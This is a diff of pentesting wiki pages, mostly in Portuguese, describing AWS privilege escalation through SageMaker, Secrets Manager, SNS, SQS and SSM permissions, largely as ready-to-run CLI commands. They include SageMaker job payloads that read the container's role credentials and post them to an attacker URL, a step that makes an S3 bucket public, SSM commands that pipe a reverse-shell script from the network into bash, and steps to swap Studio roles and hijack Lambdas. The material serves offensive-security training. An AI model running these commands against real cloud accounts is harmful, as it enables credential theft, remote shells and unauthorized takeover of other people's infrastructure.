+--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
+--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
+--stopping-condition '{"MaxRuntimeInSeconds":600}' \
+--environment "$ENV"
+
+# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
+```
+**Impacto Potencial:** Privesc para a service role do SageMaker especificada.
+
+### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
+
+Um atacante com essas permissões pode iniciar um HyperParameter Tuning Job que executa código controlado pelo atacante sob a service role fornecida. O modo Script requer hospedar o payload no S3, mas todos os passos podem ser automatizados pela CLI:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+BUCKET=sm-hpo-privesc-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+
+# Allow public reads so any SageMaker role can pull the code
+aws s3api put-public-access-block \
+--bucket $BUCKET \
+--public-access-block-configuration '{
+"BlockPublicAcls": false,
+"IgnorePublicAcls": false,
+"BlockPublicPolicy": false,
+"RestrictPublicBuckets": false
+}'
+
+aws s3api put-bucket-policy --bucket $BUCKET --policy "{
+\"Version\": \"2012-10-17\",
+\"Statement\": [
+{
+\"Effect\": \"Allow\",
+\"Principal\": \"*\",
+\"Action\": \"s3:GetObject\",
+\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
+}
+]
+}"
+
+cat <<'EOF' > /tmp/train.py
+import os, time, urllib.request
+
+def main():
+meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
+if not meta:
+return
+creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
+req = urllib.request.Request(
+"https://example.com/webhook",
+data=creds,
+headers={"Content-Type": "application/json"}
+)
+urllib.request.urlopen(req)
+print("train:loss=0")
+time.sleep(300)
+
+if __name__ == "__main__":
+main()
+EOF
+
+cd /tmp
+tar -czf code.tar.gz train.py
+aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
+
+echo "dummy" > /tmp/input.txt
+aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
+
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+CODE_S3=s3://$BUCKET/code/train-code.tar.gz
+TRAIN_INPUT_S3=s3://$BUCKET/input
+OUTPUT_S3=s3://$BUCKET/output
+# El rol necesita permisos ECR y escritura en el bucket.
+
+cat > /tmp/hpo-definition.json <<EOF
+{
+"AlgorithmSpecification": {
+"TrainingImage": "$IMAGE",
+"TrainingInputMode": "File",
+"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
+},
+"StaticHyperParameters": {
+"sagemaker_program": "train.py",
+"sagemaker_submit_directory": "$CODE_S3"
+},
+"RoleArn": "$ROLE_ARN",
+"InputDataConfig": [
+{
+"ChannelName": "training",
+"DataSource": {
+"S3DataSource": {
+"S3DataType": "S3Prefix",
+"S3Uri": "$TRAIN_INPUT_S3",
+"S3DataDistributionType": "FullyReplicated"
+}
+}
+}
+],
+"OutputDataConfig": {
+"S3OutputPath": "$OUTPUT_S3"
+},
+"ResourceConfig": {
+"InstanceType": "ml.m5.large",
+"InstanceCount": 1,
+"VolumeSizeInGB": 50
+},
+"StoppingCondition": {
+"MaxRuntimeInSeconds": 600
+}
+}
+EOF
+
+aws sagemaker create-hyper-parameter-tuning-job \
+--hyper-parameter-tuning-job-name privesc-hpo \
+--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
+--training-job-definition file:///tmp/hpo-definition.json
+```
+Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
+
+
+### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Troca de role do Studio (sem `iam:PassRole`)
+
+Prioridad de ExecutionRole:
+
+- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
+- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
+- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
+
+Com permissões para atualizar um SageMaker Studio User Profile (ou Space/Domain), um atacante pode definir o `ExecutionRole` para qualquer IAM role que o principal de serviço do SageMaker possa assumir. Ao contrário das APIs de criação de jobs, as APIs de atualização de perfil do Studio não exigem `iam:PassRole`. Novos apps do Studio lançados para esse perfil serão executados com a role trocada, concedendo permissões elevadas interativas via terminais Jupyter ou jobs iniciados a partir do Studio.
+
+Passos:
+```bash
+# 1) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
+
+# 2) Update the Studio profile to use the new role (no iam:PassRole)
+aws sagemaker update-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query 'UserSettings.ExecutionRole' --output text
+
+# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
+aws sagemaker update-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--space-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--query 'SpaceSettings.ExecutionRole' --output text
+
+# 4) Optionally, change the domain default so every profile inherits the new role
+aws sagemaker update-domain \
+--domain-id <DOMAIN_ID> \
+--default-user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-domain \
+--domain-id <DOMAIN_ID> \
+--query 'DefaultUserSettings.ExecutionRole' --output text
+
+# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name js-atk
+
+# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
+#    aws sts get-caller-identity  # should reflect the new ExecutionRole
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+```
+**Impacto Potencial**: Privilege escalation às permissões do SageMaker execution role especificado para interactive Studio sessions.
+
+
+## Referências
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
index 5f4dcde1d..2c743eb6d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - Secrets Manager Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Secrets Manager
 
-Para mais informações sobre Secrets Manager, veja:
+Para mais informações sobre Secrets Manager, consulte:
 
 {{#ref}}
-../aws-services/aws-secrets-manager-enum.md
+../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
 ### `secretsmanager:GetSecretValue`
 
-Um atacante com essa permissão pode obter o **valor salvo dentro de um secret** no AWS **Secretsmanager**.
+Um atacante com essa permissão pode obter o **valor salvo dentro de um segredo** no AWS **Secretsmanager**.
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
@@ -23,7 +23,7 @@ aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Com as permissões anteriores é possível **dar acesso a outros principals/accounts (mesmo externos)** para acessar o **secret**. Note que, para **read secrets encrypted** com uma KMS key, o usuário também precisa ter **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
+Com as permissões anteriores, é possível **dar acesso a outros principals/accounts (inclusive externos)** para acessar o **secret**. Observe que, para **read secrets encrypted** com uma KMS key, o usuário também precisa ter **access over the KMS key** (more info in the [KMS Enum page](../../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
@@ -45,4 +45,4 @@ policy.json:
 ]
 }
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index 256f8d95d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SNS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### `sns:Publish`
-
-Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
-
-### `sns:Subscribe`
-
-Um atacante poderia se inscrever em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-```
-**Impacto Potencial**: Acesso não autorizado a mensagens (informações sensíveis), interrupção do serviço para aplicações que dependem do tópico afetado.
-
-### `sns:AddPermission`
-
-Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-```
-**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal para aplicações que dependem do tópico.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
new file mode 100644
index 000000000..8f65e92c3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
@@ -0,0 +1,80 @@
+# AWS - SNS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+Um atacante poderia enviar mensagens maliciosas ou indesejadas ao tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
+
+### `sns:Subscribe`
+
+Um atacante poderia se inscrever em um tópico SNS, potencialmente obtendo acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+```
+**Impacto Potencial**: Acesso não autorizado a mensagens (informações sensíveis), interrupção de serviço para aplicações que dependem do tópico afetado.
+
+### `sns:AddPermission`
+
+Um atacante poderia conceder a usuários ou serviços não autorizados acesso a um tópico SNS, potencialmente obtendo permissões adicionais.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+```
+**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal de aplicações que dependem do tópico.
+
+
+### Invocar uma Lambda abusando de permissão curinga do SNS (no `SourceArn`)
+
+Se a política basada em recurso da função Lambda permitir que `sns.amazonaws.com` a invoque sem restringir o tópico de origem (`SourceArn`), qualquer tópico SNS (mesmo em outra conta) pode se inscrever e acionar a função. Um atacante com permissões básicas de SNS pode forçar a Lambda a executar sob sua IAM role com entrada controlada pelo atacante.
+
+> [!TIP]
+> TODO: Isso realmente pode ser feito entre contas?
+
+Precondições
+- A política da Lambda vítima contém uma declaração como abaixo, sem condição `SourceArn`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {"Service": "sns.amazonaws.com"},
+"Action": "lambda:InvokeFunction"
+// No Condition/SourceArn restriction here
+}
+]
+}
+```
+Etapas de abuso (mesma conta ou entre contas)
+```bash
+# 1) Create a topic you control
+ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
+
+# 2) Subscribe the victim Lambda to your topic
+aws sns subscribe \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--protocol lambda \
+--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
+
+# 3) Publish an attacker-controlled message to trigger the Lambda
+aws sns publish \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
+```
+**Impacto Potencial**: A Lambda vítima é executada com seu IAM role, processando entrada controlada pelo atacante. Isso pode ser abusado para fazer a função executar ações sensíveis (por exemplo, write to S3, access secrets, modify resources) dependendo das suas permissões.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 0f4adfa72..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - SQS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:AddPermission`
-
-Um atacante poderia usar essa permissão para conceder acesso não autorizado a usuários ou serviços a uma fila SQS, criando novas políticas ou modificando políticas existentes. Isso poderia resultar em acesso não autorizado às mensagens na fila ou manipulação da fila por entidades não autorizadas.
-```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
-```
-**Impacto Potencial**: Acesso não autorizado à fila, exposição de mensagens ou manipulação da fila por usuários ou serviços não autorizados.
-
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
-
-Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Um atacante poderia receber, deletar ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção de serviço para aplicações que dependem dessas mensagens.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
new file mode 100644
index 000000000..72fca85d9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md
@@ -0,0 +1,40 @@
+# AWS - SQS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:AddPermission`
+
+Um atacante poderia usar essa permissão para conceder a usuários ou serviços não autorizados acesso a uma fila SQS criando novas políticas ou modificando políticas existentes. Isso poderia resultar em acesso não autorizado às mensagens na fila ou em manipulação da fila por entidades não autorizadas.
+```bash
+aws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
+```
+**Impacto potencial**: Acesso não autorizado à fila, exposição de mensagens ou manipulação da fila por usuários ou serviços não autorizados.
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Impacto Potencial**: Exploração de vulnerabilidade, corrupção de dados, ações não intencionais ou exaustão de recursos.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Um atacante poderia receber, excluir ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção do serviço para aplicações que dependem dessas mensagens.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Impacto Potencial**: Roubar informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviço para aplicações que dependem das mensagens afetadas.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
deleted file mode 100644
index 39f5db9c4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - SSM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Para mais informações sobre SSM, consulte:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `ssm:SendCommand`
-
-Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está em execução dentro dele.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
-```
-Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode apenas capturar o rev shell localmente com:
-```bash
-# If you are in the machine you can capture the reverseshel inside of it
-nc -lvnp 4444 #Inside the EC2 instance
-aws ssm send-command --instance-ids "$INSTANCE_ID" \
---document-name "AWS-RunShellScript" --output text \
---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
-```
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento.
-
-### `ssm:StartSession`
-
-Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante ao SSH em instâncias** que executam o Agente SSM da Amazon e **comprometer o Papel IAM** que está em execução dentro dele.
-```bash
-# Check for configured instances
-aws ssm describe-instance-information
-aws ssm describe-sessions --state Active
-
-# Send rev shell command
-aws ssm start-session --target "$INSTANCE_ID"
-```
-> [!CAUTION]
-> Para iniciar uma sessão, você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
-
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents em execução.
-
-#### Privesc para ECS
-
-Quando as **tarefas ECS** são executadas com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do contêiner.\
-De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin do SSM Session Manager necessário para que isso funcione)\
-Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro das tarefas ECS** com essa opção habilitada apenas executando:
-```bash
-aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
-```
-![](<../../../images/image (185).png>)
-
-**Impacto Potencial:** Privesc direto para os papéis `ECS`IAM anexados a tarefas em execução com `ExecuteCommand` habilitado.
-
-### `ssm:ResumeSession`
-
-Um atacante com a permissão **`ssm:ResumeSession`** pode re-**iniciar uma sessão semelhante ao SSH em instâncias** executando o Amazon SSM Agent com um estado de sessão SSM **desconectado** e **comprometer o Papel IAM** em execução dentro dele.
-```bash
-# Check for configured instances
-aws ssm describe-sessions
-
-# Get resume data (you will probably need to do something else with this info to connect)
-aws ssm resume-session \
---session-id Mary-Major-07a16060613c408b5
-```
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em execução e sessões desconectadas.
-
-### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
-
-Um atacante com as permissões mencionadas será capaz de listar os **parâmetros SSM** e **lê-los em texto claro**. Nesses parâmetros, você pode frequentemente **encontrar informações sensíveis** como chaves SSH ou chaves de API.
-```bash
-aws ssm describe-parameters
-# Suppose that you found a parameter called "id_rsa"
-aws ssm get-parameters --names id_rsa --with-decryption
-aws ssm get-parameter --name id_rsa --with-decryption
-```
-**Impacto Potencial:** Encontrar informações sensíveis dentro dos parâmetros.
-
-### `ssm:ListCommands`
-
-Um atacante com esta permissão pode listar todos os **comandos** enviados e, esperançosamente, encontrar **informações sensíveis** neles.
-```
-aws ssm list-commands
-```
-**Impacto Potencial:** Encontrar informações sensíveis dentro das linhas de comando.
-
-### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
-
-Um atacante com essas permissões pode listar todos os **comandos** enviados e **ler a saída** gerada, na esperança de encontrar **informações sensíveis** nela.
-```bash
-# You can use any of both options to get the command-id and instance id
-aws ssm list-commands
-aws ssm list-command-invocations
-
-aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
-```
-**Impacto Potencial:** Encontrar informações sensíveis dentro da saída dos comandos.
-
-### Usando ssm:CreateAssociation
-
-Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma Associação do State Manager para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita completamente `--schedule-expression` — a associação será executada uma vez após a criação.
-
-### Codebuild
-
-Você também pode usar SSM para acessar um projeto de codebuild que está sendo construído:
-
-{{#ref}}
-aws-codebuild-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
new file mode 100644
index 000000000..75df2a55c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
@@ -0,0 +1,130 @@
+# AWS - SSM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Para mais informações sobre SSM, veja:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `ssm:SendCommand`
+
+Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que estejam executando o Amazon SSM Agent e **comprometer a IAM Role** em execução nelas.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+```
+Caso você esteja usando esta técnica para escalate privileges dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com:
+```bash
+# If you are in the machine you can capture the reverseshel inside of it
+nc -lvnp 4444 #Inside the EC2 instance
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+```
+**Impacto Potencial:** Privesc direto para os EC2 IAM roles anexados às instâncias em execução com SSM Agents.
+
+### `ssm:StartSession`
+
+Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante a SSH em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** em execução no seu interior.
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm start-session --target "$INSTANCE_ID"
+```
+> [!CAUTION]
+> Em ordem para iniciar uma sessão você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+
+**Impacto Potencial:** privesc direto para os EC2 IAM roles anexados às instâncias em execução com SSM Agents em funcionamento.
+
+#### Privesc para ECS
+
+Quando **ECS tasks** são executadas com **`ExecuteCommand` enabled** usuários com permissões suficientes podem usar `ecs execute-command` para **execute a command** dentro do container.\
+De acordo com [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)\
+Portanto, usuários com `ssm:StartSession` poderão **get a shell inside ECS tasks** com essa opção habilitada apenas executando:
+```bash
+aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
+```
+![](<../../../images/image (185).png>)
+
+**Impacto Potencial:** Direct privesc para as `ECS`IAM roles anexadas às tarefas em execução com `ExecuteCommand` habilitado.
+
+### `ssm:ResumeSession`
+
+Um atacante com a permissão **`ssm:ResumeSession`** pode re-**iniciar uma sessão tipo SSH em instâncias** executando o Amazon SSM Agent com um estado de sessão SSM **desconectado** e **comprometer o IAM Role** que estiver sendo executado dentro dela.
+```bash
+# Check for configured instances
+aws ssm describe-sessions
+
+# Get resume data (you will probably need to do something else with this info to connect)
+aws ssm resume-session \
+--session-id Mary-Major-07a16060613c408b5
+```
+**Impacto Potencial:** Direct privesc para os EC2 IAM roles atribuídos às instâncias em execução com SSM Agents ativos e sessões desconectadas.
+
+### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
+
+Um atacante com as permissões mencionadas poderá listar os **SSM parameters** e **lê-los em texto plano**. Nesses parâmetros você frequentemente pode **encontrar informações sensíveis**, como chaves SSH ou chaves de API.
+```bash
+aws ssm describe-parameters
+# Suppose that you found a parameter called "id_rsa"
+aws ssm get-parameters --names id_rsa --with-decryption
+aws ssm get-parameter --name id_rsa --with-decryption
+```
+**Impacto Potencial:** Encontrar informações sensíveis dentro dos parâmetros.
+
+### `ssm:ListCommands`
+
+Um atacante com essa permissão pode listar todos os **comandos** enviados e, com sorte, encontrar **informações sensíveis** neles.
+```
